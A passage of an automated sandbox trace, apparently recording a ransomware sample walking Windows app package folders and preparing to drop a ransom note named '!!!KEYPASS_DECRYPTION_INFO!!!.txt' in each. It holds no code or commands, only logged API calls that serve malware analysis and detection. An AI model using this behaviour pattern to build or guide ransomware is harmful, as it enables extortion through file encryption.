pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.323] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.324] GetLastError () returned 0x5 [0289.324] GetLastError () returned 0x5 [0289.324] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_10.0.0.0_x64__8wekyb3d8bbwe\\resources.pri") returned=".pri" [0289.324] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0289.324] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.324] GetLastError () returned 0x3f0 [0289.324] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_2015.624.2254.0_neutral_~_8wekyb3d8bbwe\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_2015.624.2254.0_neutral_~_8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.324] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_2015.624.2254.0_neutral_~_8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.333] GetLastError () returned 0x5 [0289.333] GetLastError () returned 0x5 [0289.334] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_2015.624.2254.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned=".xml" [0289.334] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.334] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.334] GetLastError () returned 0x3f0 [0289.334] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_2015.624.2254.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_2015.624.2254.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.334] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_2015.624.2254.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.334] GetLastError () returned 0x5 [0289.334] GetLastError () returned 0x5 [0289.335] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_2015.624.2254.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned=".xml" [0289.335] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_2015.624.2254.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned=".p7x" [0289.335] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.335] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.335] GetLastError () returned 0x3f0 [0289.335] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_2015.624.2254.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_2015.624.2254.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.335] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_2015.624.2254.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.336] GetLastError () returned 0x5 [0289.336] GetLastError () returned 0x5 [0289.336] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0289.336] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.336] GetLastError () returned 0x3f0 [0289.336] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.336] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.340] GetLastError () returned 0x5 [0289.340] GetLastError () returned 0x5 [0289.341] PathFindExtensionW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxBlockMap.xml") returned=".xml" [0289.341] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.341] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.341] GetLastError () returned 0x3f0 [0289.341] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.341] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.342] GetLastError () returned 0x5 [0289.342] GetLastError () returned 0x5 [0289.342] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.342] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.342] GetLastError () returned 0x3f0 [0289.342] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.342] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.421] GetLastError () returned 0x5 [0289.421] GetLastError () returned 0x5 [0289.421] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.421] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.421] GetLastError () returned 0x3f0 [0289.421] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.421] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.422] GetLastError () returned 0x5 [0289.422] GetLastError () returned 0x5 [0289.422] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.422] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.422] GetLastError () returned 0x3f0 [0289.422] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.422] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.423] GetLastError () returned 0x5 [0289.423] GetLastError () returned 0x5 [0289.424] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.424] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.424] GetLastError () returned 0x3f0 [0289.424] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.424] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.425] GetLastError () returned 0x5 [0289.425] GetLastError () returned 0x5 [0289.425] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0289.425] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.425] GetLastError () returned 0x3f0 [0289.425] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.425] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.429] GetLastError () returned 0x5 [0289.429] GetLastError () returned 0x5 [0289.430] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.430] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.430] GetLastError () returned 0x3f0 [0289.430] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.430] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.492] GetLastError () returned 0x5 [0289.492] GetLastError () returned 0x5 [0289.492] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.492] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.492] GetLastError () returned 0x3f0 [0289.493] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.493] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.493] GetLastError () returned 0x5 [0289.493] GetLastError () returned 0x5 [0289.493] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0289.493] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.493] GetLastError () returned 0x3f0 [0289.493] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.493] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.515] GetLastError () returned 0x5 [0289.515] GetLastError () returned 0x5 [0289.516] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.516] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.516] GetLastError () returned 0x3f0 [0289.516] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.516] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.516] GetLastError () returned 0x5 [0289.516] GetLastError () returned 0x5 [0289.516] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.516] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.516] GetLastError () returned 0x3f0 [0289.516] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.516] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.518] GetLastError () returned 0x5 [0289.518] GetLastError () returned 0x5 [0289.518] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0289.518] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.518] GetLastError () returned 0x3f0 [0289.519] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.519] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.519] GetLastError () returned 0x5 [0289.519] GetLastError () returned 0x5 [0289.519] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.519] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.519] GetLastError () returned 0x3f0 [0289.519] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\AppxMetadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.519] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.519] GetLastError () returned 0x5 [0289.519] GetLastError () returned 0x5 [0289.520] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.520] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.520] GetLastError () returned 0x3f0 [0289.520] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.520] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.520] GetLastError () returned 0x5 [0289.520] GetLastError () returned 0x5 [0289.520] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.520] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.520] GetLastError () returned 0x3f0 [0289.520] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.520] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.523] GetLastError () returned 0x5 [0289.523] GetLastError () returned 0x5 [0289.524] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.524] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.524] GetLastError () returned 0x3f0 [0289.524] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Configuration\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Configuration\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.524] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Configuration\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.524] GetLastError () returned 0x5 [0289.524] GetLastError () returned 0x5 [0289.524] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.524] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.524] GetLastError () returned 0x3f0 [0289.524] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\JsonResources\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\JsonResources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.525] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\JsonResources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.529] GetLastError () returned 0x5 [0289.529] GetLastError () returned 0x5 [0289.530] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.530] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.530] GetLastError () returned 0x3f0 [0289.530] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.530] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.531] GetLastError () returned 0x5 [0289.531] GetLastError () returned 0x5 [0289.531] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.531] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.531] GetLastError () returned 0x3f0 [0289.531] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.531] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.531] GetLastError () returned 0x5 [0289.531] GetLastError () returned 0x5 [0289.531] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.531] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.531] GetLastError () returned 0x3f0 [0289.531] PathAppendW (in: pszPath="C:\\Program 